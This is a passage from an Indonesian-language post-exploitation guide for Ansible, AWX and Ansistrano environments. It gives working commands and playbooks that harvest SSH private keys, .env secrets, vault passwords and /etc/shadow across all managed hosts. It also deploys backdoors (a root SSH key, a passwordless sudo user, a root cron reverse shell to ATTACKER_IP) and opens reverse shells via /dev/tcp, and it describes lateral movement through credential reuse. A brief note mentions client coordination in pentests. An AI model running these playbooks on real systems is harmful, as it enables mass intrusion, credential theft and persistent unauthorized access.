 8cat /etc/cron.d/* 2>/dev/null | grep ansible-pull
 9# Contoh:
10# */15 * * * * ansible-pull -U https://gitlab.internal/infra/ansible.git -i inventory site.yml
11# → Git URL = source code repo (mungkin private, tapi token ada di URL/config)
12
13# Git config mungkin berisi credentials
14cat ~/.ansible/pull/*/.git/config 2>/dev/null
15# url = https://deploy_token:[email protected]/infra/ansible.git
16# → Git token yang bisa dipakai untuk clone repo lain

Ringkasan Artifact & Value

ArtifactLokasiValue
~/.ansible/tmp/ansible-local-*Temp dirKonfirmasi Ansible local execution
~/.ansible/tmp/ansible-tmp-*Temp dirKonfirmasi mesin ini managed host
ansiballz_cache/*Di dalam tmpModule list → tahu task apa yang dijalankan
~/.ansible/cp/*SSH socketsReuse SSH session tanpa password
~/.ansible/facts_cache/Fact cacheSystem info semua managed hosts
ansible.logLogTask history, mungkin credentials
builds/*/ansible/CI workspacePlaybook, inventory, vault files
.vault_pass*CI workspaceVault password → decrypt semua secrets
ansible-pull cronCrontabGit repo URL + credentials
~/.ansible/galaxy_tokenGalaxyAnsible Galaxy API token

3.7 Ansistrano & Deployment Role Artifacts

Ansistrano adalah Ansible role populer untuk deployment aplikasi. Nama dari “Ansible” + “Capistrano”. Ini banyak dipakai di production environment dan menyimpan banyak secrets.

Apa itu Ansistrano

Ansistrano menggunakan pola symlink release (sama seperti Capistrano di Ruby):

/var/www/my-app/                     ← deploy_to
├── releases/
│   ├── 20260226120000/              ← release lama
│   ├── 20260226130000/              ← release terbaru (source code)
│   └── ...
├── shared/                          ← file persistent antar release
│   ├── .env                         ← ⚠️ environment config (credentials!)
│   ├── storage/                     ← uploads, logs
│   └── node_modules/
├── current -> releases/20260226130000/  ← symlink ke release aktif
└── repo/                            ← ⚠️ bare git repo (jika git deploy)
    └── .git/

Variable Sensitif di Ansistrano Config

Cari file group_vars/, host_vars/, atau playbook yang mengandung variable Ansistrano:

 1# ========== Deploy Config (group_vars/production.yml) ==========
 2
 3# Git credentials — SSH private key path
 4ansistrano_git_identity_key_path: '/home/deployer/.ssh/id_ecdsa'
 5# ⚠️ SSH private key → bisa dipakai clone repo & SSH ke server lain
 6
 7# Git repo URL
 8ansistrano_git_repo: '[email protected]:company/webapp.git'
 9# ⚠️ Internal Git server → target selanjutnya
10
11# Atau HTTPS dengan token
12ansistrano_git_repo: 'https://deploy_token:[email protected]/company/webapp.git'
13# ⚠️ GitLab token langsung di URL!
14
15ansistrano_git_branch: 'main'
16ansistrano_deploy_to: '/var/www/webapp'
17ansistrano_deploy_via: 'git'                    # bisa: git, rsync, download, s3
18ansistrano_keep_releases: 5
19ansistrano_current_dir: 'current'
20
21# Shared files/dirs — symlink dari shared/ ke release
22ansistrano_shared_files:
23  - '.env'                                      # ⚠️ file .env berisi secrets
24  - 'config/database.yml'                       # ⚠️ database credentials
25  - 'config/secrets.yml'                        # ⚠️ app secrets
26ansistrano_shared_paths:
27  - 'storage'
28  - 'node_modules'
29
30# Custom hooks (before/after deploy)
31ansistrano_before_symlink_tasks_file: '{{ playbook_dir }}/deploy/before-symlink.yml'
32ansistrano_after_symlink_tasks_file: '{{ playbook_dir }}/deploy/after-symlink.yml'
33# ⚠️ Hook files bisa berisi commands yang leak secrets
34
35# Rsync deploy (jika pakai rsync instead of git)
36ansistrano_rsync_extra_params: '--exclude=.git --exclude=.env.local'
37ansistrano_rsync_set_remote_user: 'deploy'

Eksploitasi Ansistrano Artifacts

 1# ========== 1. Cari Ansistrano config files ==========
 2find / -type f -name "*.yml" -exec grep -l "ansistrano" {} \; 2>/dev/null
 3find / -type f -name "*.yaml" -exec grep -l "ansistrano" {} \; 2>/dev/null
 4
 5# Cari di CI/CD workspace
 6grep -r "ansistrano" /home/gitlab-runner*/builds/ 2>/dev/null
 7grep -r "ansistrano" /var/lib/jenkins/workspace/ 2>/dev/null
 8
 9# ========== 2. Extract SSH key dari config ==========
10# Jika ketemu: ansistrano_git_identity_key_path: '/home/deployer/.ssh/id_ecdsa'
11cat /home/deployer/.ssh/id_ecdsa 2>/dev/null
12cat /home/deployer/.ssh/id_rsa 2>/dev/null
13cat /home/deployer/.ssh/id_ed25519 2>/dev/null
14
15# Cek key mana saja yang ada
16ls -la /home/deployer/.ssh/ 2>/dev/null
17# id_ecdsa, id_rsa, id_ed25519 → private keys
18# *.pub → public keys (bisa match ke authorized_keys di server lain)
19# known_hosts → daftar server yang pernah di-SSH
20# config → SSH config (mungkin ada ProxyJump, bastion host)
21
22# ========== 3. Clone repo dengan stolen key ==========
23GIT_SSH_COMMAND="ssh -i /home/deployer/.ssh/id_ecdsa -o StrictHostKeyChecking=no" \
24  git clone [email protected]:company/webapp.git /tmp/stolen_repo
25
26# ========== 4. Cari secrets di deploy target ==========
27# Shared files (persistent across releases)
28cat /var/www/webapp/shared/.env 2>/dev/null
29cat /var/www/webapp/shared/config/database.yml 2>/dev/null
30cat /var/www/webapp/shared/config/secrets.yml 2>/dev/null
31
32# Current release source code
33ls -la /var/www/webapp/current/
34cat /var/www/webapp/current/.env 2>/dev/null     # symlink ke shared/.env
35
36# ========== 5. Git repo di server (jika deploy via git) ==========
37# Ansistrano menyimpan bare repo di deploy target
38ls /var/www/webapp/repo/.git/ 2>/dev/null
39git -C /var/www/webapp/repo log --oneline -20 2>/dev/null
40
41# Remote config mungkin berisi token
42git -C /var/www/webapp/repo remote -v 2>/dev/null
43# origin  https://deploy_token:[email protected]/company/webapp.git (fetch)
44
45# ========== 6. Semua releases (source code history) ==========
46ls /var/www/webapp/releases/ 2>/dev/null
47# 20260226120000/  20260226130000/  ...
48# Setiap release = snapshot source code → cari secrets di versi lama
49
50for dir in /var/www/webapp/releases/*/; do
51  echo "=== $dir ==="
52  grep -r "password\|secret\|api_key\|token" "$dir" --include="*.yml" --include="*.env" --include="*.php" --include="*.py" 2>/dev/null | head -10
53done
54
55# ========== 7. Ansistrano hooks — custom deploy tasks ==========
56# Hook files bisa berisi artisan commands, migrations, dll
57find / -path "*/deploy/*.yml" -exec grep -l "ansistrano\|artisan\|migrate\|seed" {} \; 2>/dev/null

Deployment Role Lain yang Mirip

Ansistrano bukan satu-satunya. Cari juga role deployment lain:

 1# Cari semua deployment role yang terinstall
 2ls ~/.ansible/roles/ 2>/dev/null | grep -i "deploy\|release\|capistrano\|ansistrano"
 3
 4# Role populer lainnya:
 5# - ansistrano.deploy & ansistrano.rollback
 6# - f500.project_deploy
 7# - cbrunnkvist.ansistrano (fork)
 8
 9# Cari variable deployment di semua YAML files
10grep -r "deploy_to\|deploy_via\|git_repo\|identity_key\|shared_files\|shared_paths" \
11  /home/gitlab-runner*/builds/ /var/lib/jenkins/ 2>/dev/null
12
13# Cari Laravel/Symfony deployment secrets
14grep -r "APP_KEY\|DB_PASSWORD\|MAIL_PASSWORD\|AWS_SECRET" \
15  /var/www/*/shared/.env 2>/dev/null

Ringkasan Ansistrano Artifacts

ArtifactLokasiValue
SSH private keyansistrano_git_identity_key_pathClone repo, SSH ke server lain
Git token di URLansistrano_git_repo (HTTPS)Akses Git server (clone repo lain)
Shared .env{deploy_to}/shared/.envDatabase, API keys, app secrets
Shared config{deploy_to}/shared/config/Database credentials, secret keys
Bare git repo{deploy_to}/repo/.git/Source code + git remote token
Release history{deploy_to}/releases/*/Source code versi lama (mungkin ada hardcoded secrets)
Deploy hooksbefore-symlink.yml, after-symlink.ymlCustom commands, mungkin leak credentials
known_hosts~/.ssh/known_hosts user deployDaftar server yang pernah diakses

Bab 4 — Post-Exploitation via Ansible

4.1 RCE ke Semua Managed Hosts

Setelah punya akses ke Ansible control node (via AWX, SSH, atau file theft), kamu bisa menjalankan command di semua server sekaligus:

Via Ansible CLI (dari control node):

 1# Cek konektivitas ke semua hosts
 2ansible all -i inventory/production -m ping
 3
 4# Jalankan command di semua hosts
 5ansible all -i inventory/production -m shell -a "id && whoami && hostname"
 6
 7# Jalankan di group tertentu
 8ansible webservers -i inventory/production -m shell -a "cat /etc/shadow"
 9ansible databases -i inventory/production -m shell -a "mysql -e 'SHOW DATABASES;'"
10
11# Baca file sensitif dari semua hosts
12ansible all -i inventory/production -m shell -a "cat /etc/passwd"
13ansible all -i inventory/production -m shell -a "ls -la /root/.ssh/"
14ansible all -i inventory/production -m shell -a "cat /root/.ssh/authorized_keys"
15
16# Reverse shell dari semua hosts (hati-hati, bisa overwhelming)
17# Lebih baik target satu host dulu
18ansible db-master -i inventory/production -m shell -a "bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1"
19
20# Jika perlu vault password
21ansible all -i inventory/production -m shell -a "id" --vault-password-file vault_pass.txt
22
23# Jika perlu become (sudo)
24ansible all -i inventory/production -m shell -a "id" --become --become-pass-file sudo_pass.txt

Via Playbook:

 1# recon.yml — reconnaissance seluruh infrastruktur
 2---
 3- hosts: all
 4  become: yes
 5  tasks:
 6    - name: System info
 7      shell: |
 8        echo "=== HOSTNAME ==="
 9        hostname
10        echo "=== IP ==="
11        ip addr | grep inet
12        echo "=== OS ==="
13        cat /etc/os-release
14        echo "=== USERS ==="
15        cat /etc/passwd | grep -v nologin
16        echo "=== SHADOW ==="
17        cat /etc/shadow
18        echo "=== SSH KEYS ==="
19        find /home -name "id_rsa" -o -name "id_ed25519" 2>/dev/null | while read f; do echo "--- $f ---"; cat "$f"; done
20        echo "=== ENV FILES ==="
21        find / -name ".env" -type f 2>/dev/null | head -20 | while read f; do echo "--- $f ---"; cat "$f"; done
22        echo "=== DOCKER ==="
23        docker ps 2>/dev/null || true
24        echo "=== LISTENING PORTS ==="
25        ss -tupln
26      register: recon_output
27
28    - name: Save output
29      local_action:
30        module: copy
31        content: "{{ recon_output.stdout }}"
32        dest: "/tmp/recon_{{ inventory_hostname }}.txt"
1ansible-playbook -i inventory/production recon.yml

4.2 Credential Harvesting dari Managed Hosts

 1# harvest.yml — kumpulkan credentials dari semua managed hosts
 2---
 3- hosts: all
 4  become: yes
 5  tasks:
 6    - name: Gather .env files
 7      shell: find / -name ".env" -type f -readable 2>/dev/null | head -50
 8      register: env_files
 9
10    - name: Read .env contents
11      shell: "cat {{ item }}"
12      loop: "{{ env_files.stdout_lines }}"
13      register: env_contents
14      ignore_errors: yes
15
16    - name: Gather config files
17      shell: |
18        # WordPress
19        cat /var/www/*/wp-config.php 2>/dev/null
20        # Laravel
21        cat /var/www/*/.env 2>/dev/null
22        # Database configs
23        cat /etc/mysql/debian.cnf 2>/dev/null
24        cat /etc/my.cnf 2>/dev/null
25        # SSH keys
26        cat /root/.ssh/id_rsa 2>/dev/null
27        cat /home/*/.ssh/id_rsa 2>/dev/null
28      register: config_contents
29      ignore_errors: yes
30
31    - name: Gather database credentials
32      shell: |
33        # MySQL
34        mysql -e "SELECT user, host, authentication_string FROM mysql.user;" 2>/dev/null || true
35        # PostgreSQL
36        cat /etc/postgresql/*/main/pg_hba.conf 2>/dev/null || true
37      register: db_creds
38      ignore_errors: yes
39
40    - name: Save all to local
41      local_action:
42        module: copy
43        content: |
44          === ENV FILES ===
45          {{ env_contents | to_nice_json }}
46          === CONFIG FILES ===
47          {{ config_contents.stdout | default('') }}
48          === DATABASE CREDS ===
49          {{ db_creds.stdout | default('') }}
50        dest: "/tmp/harvest_{{ inventory_hostname }}.txt"

4.3 Backdoor Deployment via Playbook

 1# backdoor.yml — deploy persistent access ke semua hosts
 2---
 3- hosts: all
 4  become: yes
 5  tasks:
 6    - name: Add SSH key for persistence
 7      authorized_key:
 8        user: root
 9        state: present
10        key: "ssh-rsa AAAA... attacker@host"
11
12    - name: Create backup user
13      user:
14        name: sysbackup
15        password: "$6$rounds=656000$salt$hash..."  # mkpasswd --method=sha-512
16        shell: /bin/bash
17        groups: sudo,wheel
18        append: yes
19
20    - name: Add sudoers entry
21      lineinfile:
22        path: /etc/sudoers.d/sysbackup
23        line: "sysbackup ALL=(ALL) NOPASSWD: ALL"
24        create: yes
25        mode: '0440'
26
27    - name: Deploy cron reverse shell
28      cron:
29        name: "system health check"
30        minute: "*/15"
31        job: "bash -c 'bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1' 2>/dev/null"
32        user: root

Penting: Dalam pentest yang sah, selalu koordinasikan dengan client sebelum deploy backdoor. Dokumentasikan semua perubahan untuk cleanup setelah engagement selesai.

4.4 Lateral Movement via Inventory

Inventory Ansible memberikan peta lengkap untuk lateral movement:

 1# 1. Dari inventory, identifikasi target bernilai tinggi
 2grep -i "database\|db\|master\|prod\|payment\|vault\|secret" inventory/production
 3
 4# 2. Gunakan credentials yang sudah didapat untuk akses langsung
 5# SSH ke database server
 6ssh -i deploy_key [email protected]
 7
 8# 3. Credentials reuse — coba password Ansible di service lain
 9# Database
10mysql -h 10.0.2.10 -u root -p'GlobalDeployPass!'
11psql -h 10.0.2.10 -U postgres -d production
12
13# Web admin panels
14curl -s http://10.0.4.10:3000/login -d '{"user":"admin","password":"GlobalDeployPass!"}'
15
16# 4. Chain access:
17# Ansible control → managed host → credentials di host → service lain
18# Contoh:
19# AWX → SSH ke web server → baca .env → database creds → dump data
20# AWX → SSH ke all servers → baca SSH keys → akses server non-Ansible

Flow lateral movement:

Ansible Control Node / AWX
  │
  ├─ SSH ke web servers
  │     ├─ Baca .env, wp-config.php → DB creds
  │     ├─ Baca SSH keys → hop ke server lain
  │     └─ Application credentials → API access
  │
  ├─ SSH ke database servers
  │     ├─ Dump user tables → password hashes → crack
  │     ├─ Baca replication config → slave servers
  │     └─ Cloud credentials di DB → cloud access
  │
  ├─ SSH ke monitoring servers
  │     ├─ Grafana admin → dashboard → info disclosure
  │     └─ Prometheus targets → discover more hosts
  │
  └─ Credentials reuse
        ├─ Ansible password → try SSH semua server
        ├─ DB password → try other databases
        └─ Cloud keys → full infrastructure

4.5 Checklist Ringkasan

Menemukan Ansible/AWX/Semaphore
  │
  ├─ 1. Identifikasi target
  │     ├─ AWX/Tower (8043/8052/443)?
  │     ├─ Semaphore (3000)?
  │     └─ Ansible files di Git/web?
  │
  ├─ 2. Login attempt
  │     ├─ Default credentials (admin:password)
  │     └─ Brute force API
  │
  ├─ 3. Setelah login AWX/Tower
  │     ├─ API enum: users, projects, inventories, credentials
  │     ├─ Host list → peta seluruh infrastruktur
  │     ├─ Job templates → lihat playbook apa yang berjalan
  │     ├─ Job history → lihat output (mungkin ada secrets)
  │     └─ Credentials → extract SSH keys/passwords
  │
  ├─ 4. RCE via Ansible
  │     ├─ Ad-hoc command → command di managed hosts
  │     ├─ Job template baru → playbook custom
  │     └─ Modify existing job → inject task
  │
  ├─ 5. Ansible file exploitation
  │     ├─ Inventory → daftar semua server + credentials
  │     ├─ group_vars → passwords plaintext
  │     ├─ Vault files → crack dengan hashcat
  │     └─ SSH keys → akses langsung
  │
  ├─ 6. Ansible artifacts (di compromised host)
  │     ├─ ~/.ansible/tmp/ → module cache, task forensik
  │     ├─ ~/.ansible/cp/ → reuse SSH sessions
  │     ├─ ~/.ansible/facts_cache/ → system info semua hosts
  │     ├─ ansible.log → task history + leaked credentials
  │     ├─ CI builds/ → playbooks, inventory, vault files
  │     ├─ .vault_pass → decrypt semua vault secrets
  │     └─ ansible-pull cron → Git repo URL + token
  │
  ├─ 7. Ansistrano & deployment roles
  │     ├─ SSH key (ansistrano_git_identity_key_path) → clone repo + SSH
  │     ├─ Git token di URL → akses Git server
  │     ├─ shared/.env → app secrets, DB creds
  │     ├─ {deploy_to}/repo/.git/ → source code + remote token
  │     └─ releases/*/ → source code history (hardcoded secrets)
  │
  ├─ 8. Post-exploitation
  │     ├─ Recon seluruh infrastruktur (ansible all -m shell)
  │     ├─ Credential harvesting dari semua hosts
  │     └─ Persistent access via SSH key / user / cron
  │
  └─ 9. Lateral movement
        ├─ Credentials reuse ke service lain
        ├─ SSH keys → hop ke server non-Ansible
        ├─ Database creds → data dump
        └─ Cloud keys → infrastructure takeover

Bab 5 — (Coming soon)